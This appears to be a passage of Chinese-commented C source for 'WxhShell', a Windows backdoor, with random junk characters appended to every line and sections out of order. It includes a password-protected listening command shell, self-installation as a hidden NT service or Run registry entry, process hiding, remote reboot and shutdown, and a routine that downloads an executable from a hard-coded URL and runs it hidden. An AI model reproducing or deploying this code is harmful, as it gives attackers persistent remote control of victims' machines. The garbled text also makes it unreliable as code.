ULONG UniqueProcessId; ?AV&@EX2C
ULONG InheritedFromUniqueProcessId; 4f4 i1i:
} PROCESS_BASIC_INFORMATION; O1x0[sy
VY+(,\)U
PROCNTQSIP NtQueryInformationProcess; \~gA+o}Q
NJ|NJp&0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; H
_Zo@y~J
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 'a;ini
qJ{r!NJJ
8
HANDLE hProcess; _HWHQF7
PROCESS_BASIC_INFORMATION pbi; HA^jk%53
U^M@um M
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wJ80};!
if(NULL == hInst ) return 0; v Q-ixh
93Mdp9v+i
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r{K\(UT]!
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {B FT
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F5N>Uqr*oN
[{S;%Jj*X/
if (!NtQueryInformationProcess) return 0; 2Vz'n@g=
Sni&?tcY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jIAW-hc]
if(!hProcess) return 0; -`zG_]=-
0Jm]f/iZ
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Tjnt(5 g
QD$}-D[
CloseHandle(hProcess); to99_2
N<KKY"?I'
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -Wl)Lez@
if(hProcess==NULL) return 0; r?64!VS;
&mh Ln4^
HMODULE hMod; )8pcf`h{
char procName[255]; G_V.H\w
unsigned long cbNeeded; LQh^;
]^(
jA4PDH f+
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 25x cD1*
kx|me~I
CloseHandle(hProcess); q{a#HnZo"
sW;7m[o
if(strstr(procName,"services")) return 1; // 以服务启动 %z(9lAe
R<Z^L~)
return 0; // 注册表启动 |.1qy,|!X
} 7<^'DOs
q&u$0XmV
// 主模块 5B}3GBA
int StartWxhshell(LPSTR lpCmdLine) HDyQzCG,
{ @Ppo &>
SOCKET wsl; aQ&uC )w
BOOL val=TRUE; m])Lw@#9W
int port=0; fk+1# 7{
struct sockaddr_in door; g<fP:/
Gu2_dT
if(wscfg.ws_autoins) Install(); /
>%L[RJ4
,,S9$@R
port=atoi(lpCmdLine); S2ark,sp6
TW>?h=.z
if(port<=0) port=wscfg.ws_port; GOGt?iw*<
<lFdexH"T
WSADATA data; -<6v:Z
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7krh4
:#WEx_]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; for{
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); T$u~E1
door.sin_family = AF_INET; w5,6$#
door.sin_addr.s_addr = inet_addr("127.0.0.1"); U M@naU
door.sin_port = htons(port); /M:H9Z8!
\4aKLr
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N*f^Z#B]
closesocket(wsl); q?yMa9ZZky
return 1; KCD5*xH
} Ee8--
}?J~P%HpF
if(listen(wsl,2) == INVALID_SOCKET) { L%f;J/
closesocket(wsl);
P&mtA2
return 1; f4
Q(
1(C
} u^l*5F%DK
Wxhshell(wsl); IQIbz{bMx
WSACleanup(); ' X}7]y
^T{8uJ'kn
return 0; [@<G+j
vb
%T7
} WV2~(/hX&
[%jxf\9jJ_
// 以NT服务方式启动 YwXXXh
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d5:tSO
{ z>|)ieL
DWORD status = 0; { UOhVJy
DWORD specificError = 0xfffffff; ".E5t@ }?m
dgslUg9z3g
serviceStatus.dwServiceType = SERVICE_WIN32; pisB,wP$2
serviceStatus.dwCurrentState = SERVICE_START_PENDING; JR)/c6j
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0V3gKd7
serviceStatus.dwWin32ExitCode = 0; /$Z
m~Mp
serviceStatus.dwServiceSpecificExitCode = 0; T/5"}P`
serviceStatus.dwCheckPoint = 0; lBmm(<~Z
serviceStatus.dwWaitHint = 0; Pcdf$a"`
\B&6TeR
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Px#$uU
if (hServiceStatusHandle==0) return; ]n5"Z,K
q &
b5g !
status = GetLastError(); G'9{a'
if (status!=NO_ERROR) .'/l'>
{ KmL$M
serviceStatus.dwCurrentState = SERVICE_STOPPED; ~.6|dw\p!
serviceStatus.dwCheckPoint = 0; h@@d{{IqT
serviceStatus.dwWaitHint = 0; On&L#pf
serviceStatus.dwWin32ExitCode = status; x'qWM/
serviceStatus.dwServiceSpecificExitCode = specificError; &K
*X)DAs
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ik5|,#}m&
return; sa9fK Z'q
} x@m<Ym-
E:w:4[neh
serviceStatus.dwCurrentState = SERVICE_RUNNING; Sl>>SP
serviceStatus.dwCheckPoint = 0; W2eAhz&
serviceStatus.dwWaitHint = 0; )o jDRJ&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ru{f]|
} x2k*|=$
`(DJs-xD
// 处理NT服务事件,比如:启动、停止 Q0~j$Jc
VOID WINAPI NTServiceHandler(DWORD fdwControl) (ua q<Cvg
{ yU7I;]YP
switch(fdwControl) w<t,j~ Pr#
{ VE]6wwV2
case SERVICE_CONTROL_STOP: CCqT tp
serviceStatus.dwWin32ExitCode = 0; M&y5AB0
serviceStatus.dwCurrentState = SERVICE_STOPPED; =j~Q/-`EC0
serviceStatus.dwCheckPoint = 0; ^VI,C|
serviceStatus.dwWaitHint = 0; Au5rR>W
{ !;dSC<
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a2yE:16o6
} p<5!02yQ\
return; %{C)1*M7
case SERVICE_CONTROL_PAUSE: YH\j@^n
serviceStatus.dwCurrentState = SERVICE_PAUSED; Rri`dmH
break; ~Ltr.ci
case SERVICE_CONTROL_CONTINUE: =_PvrB 2'
serviceStatus.dwCurrentState = SERVICE_RUNNING; %idk@~H Cg
break; XP?*=Z]
case SERVICE_CONTROL_INTERROGATE: <o0~H
break; S LGW:
}; 6OB" ,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Mw^*yW
} M35Ax],:^
Bo
r7] #
// 标准应用程序主函数 y3IWfiz>/d
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) wsnK3tM7-
{ 3KcaT5(&
]sj0~DI*m
// 获取操作系统版本 'Kz9ygZy
OsIsNt=GetOsVer(); {'R)4hL
GetModuleFileName(NULL,ExeFile,MAX_PATH); 'jvpNn
rWQY?K@
// 从命令行安装 8Xn!Kpa
if(strpbrk(lpCmdLine,"iI")) Install(); 9.&mz}q
6RK\}@^=K
// 下载执行文件 "!Lkp2\
if(wscfg.ws_downexe) { :a3xvN-l
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) [B9 ;?G
WinExec(wscfg.ws_filenam,SW_HIDE); 'MQ%)hipA
} -9o{vmB{
=|SdVv
if(!OsIsNt) { 4#)6.f~
// 如果时win9x,隐藏进程并且设置为注册表启动 &ao(!/im
HideProc(); @Zm Jz
StartWxhshell(lpCmdLine); `ZGcgO<c\
} 4tJa-7
else ,W*H6fw+
if(StartFromService()) 1 Z[f
{T)
// 以服务方式启动 Mqv[XHfB
StartServiceCtrlDispatcher(DispatchTable); _x % 1 F
else *Km7U-BG
// 普通方式启动 YV([2
StartWxhshell(lpCmdLine); 8_Z/ o5s
6E^~n
return 0;
`w<J25
} QUOKThY?
sN/+
l[%lE
(E!!pz
=========================================== QxpKX_@Q5
YYUe)j{T
#Ufo)\x
213\ehhG<
fgCT!s7z
`\b+[Nes
" *jCW.ZLY
J(iV0LAZb
#include <stdio.h> "2hh-L7ql
#include <string.h> va,~w(G
#include <windows.h> 7NF/]y4w
#include <winsock2.h> +jV_Wz
#include <winsvc.h> mEDpKWBk
#include <urlmon.h> edpW8eND
^^}Hs-{T
#pragma comment (lib, "Ws2_32.lib") VKrShI
#pragma comment (lib, "urlmon.lib") -[]';f4]M
N"c(e6
#define MAX_USER 100 // 最大客户端连接数 qnIew?-*
#define BUF_SOCK 200 // sock buffer w~+ aW(2
#define KEY_BUFF 255 // 输入 buffer `}8&E(<
geGeZ5+B
#define REBOOT 0 // 重启 flnVYQe
#define SHUTDOWN 1 // 关机 8MF2K6
fN[8N$1-
#define DEF_PORT 5000 // 监听端口 xPC"c*
p538r[f<
#define REG_LEN 16 // 注册表键长度 DTY<0Q.
#define SVC_LEN 80 // NT服务名长度 FvXqggfGv
`X8@/wf#
// 从dll定义API fRHKQ(a#
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); tXq)nfGe{
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ! OE*z $\
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IXq(jhm8bL
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xsP4\C>
G{lcYP O
// wxhshell配置信息 N|dD!
struct WSCFG { $p$dKH
int ws_port; // 监听端口 \:/Lc{*}MD
char ws_passstr[REG_LEN]; // 口令 VKuAO$s$
int ws_autoins; // 安装标记, 1=yes 0=no PT]GJ<K/
char ws_regname[REG_LEN]; // 注册表键名 4hAJ!7[A.
char ws_svcname[REG_LEN]; // 服务名 3S"] u}
char ws_svcdisp[SVC_LEN]; // 服务显示名 KIus/S5
RC
char ws_svcdesc[SVC_LEN]; // 服务描述信息 (S9f/i^
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |g_g8[@`}
int ws_downexe; // 下载执行标记, 1=yes 0=no ja T$gAx
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E1*QdCV2
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nk@atK,38^
n=!uNu7
}; /QxlGfNZ
r88"#C6E'
// default Wxhshell configuration .C!vr@@]
struct WSCFG wscfg={DEF_PORT, ~W{-Q.
"xuhuanlingzhe", Q5n`F5
1, bToq$%sCg
"Wxhshell", wCb(>pL0
"Wxhshell",
f[jNwb
"WxhShell Service", 4Z5#F]OA7
"Wrsky Windows CmdShell Service", HEY4$Lf(I
"Please Input Your Password: ", |>1hu1
1, ;YH[G;aJ
"http://www.wrsky.com/wxhshell.exe", A lwtmDa
"Wxhshell.exe" -9+se
}; Z4q~@|+%
UA-7nb
// 消息定义模块 }Dfwm)]Q
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <hvRP!~<)
char *msg_ws_prompt="\n\r? for help\n\r#>"; QLo(i
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \N6\v5vh
char *msg_ws_ext="\n\rExit."; 5Ec/(-F
char *msg_ws_end="\n\rQuit."; 0(\+-<
char *msg_ws_boot="\n\rReboot..."; ?IW_O~Js
char *msg_ws_poff="\n\rShutdown..."; T|) {<
char *msg_ws_down="\n\rSave to "; }iww:H-1
PHra+NY#A
char *msg_ws_err="\n\rErr!"; AEg(m<t
char *msg_ws_ok="\n\rOK!"; SvuTc!$?
63&^BW
char ExeFile[MAX_PATH]; H lB]38
int nUser = 0; P+(i^=S
HANDLE handles[MAX_USER]; wL{qD
int OsIsNt; S~yR5cb
RFfIF]~3
SERVICE_STATUS serviceStatus; r`M6!}oa
SERVICE_STATUS_HANDLE hServiceStatusHandle; @WOM#Kc
#&Is GyU
// 函数声明 Fx#jV\''s
int Install(void); C"eXs#A
int Uninstall(void); QMp rv*i
int DownloadFile(char *sURL, SOCKET wsh); ]r/^9XaqtA
int Boot(int flag); d7Ro}>lp
void HideProc(void); w"zE_9I\
int GetOsVer(void); !a-b6Aa
int Wxhshell(SOCKET wsl); U@-2Q=
void TalkWithClient(void *cs); M\2"gT-LV
int CmdShell(SOCKET sock); WxUxc75
int StartFromService(void); +t!S'|C
int StartWxhshell(LPSTR lpCmdLine); 0kDBE3i#
{qpi?oY
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); iEHh{H(
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (-^bj
"v]%3i.*
-
// 数据结构和表定义 D$r
Uid
SERVICE_TABLE_ENTRY DispatchTable[] = |+f-h,
{ P,z:Z|}8
{wscfg.ws_svcname, NTServiceMain}, VLvS$0(}Z
{NULL, NULL} \
v2H^j/
}; {6,|IGAq
V
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// 自我安装 m5c&&v6%"b
int Install(void) pbBoy+.>
{ {|<"C?
char svExeFile[MAX_PATH]; T3,1m=S
HKEY key; K`6z&*
strcpy(svExeFile,ExeFile); :%4imgY`
Ngy=!g?Hk=
// 如果是win9x系统,修改注册表设为自启动 ~}ovuf=%
if(!OsIsNt) { m,MSMw1p
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lxb zHlX
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h #.N3o
RegCloseKey(key); [c&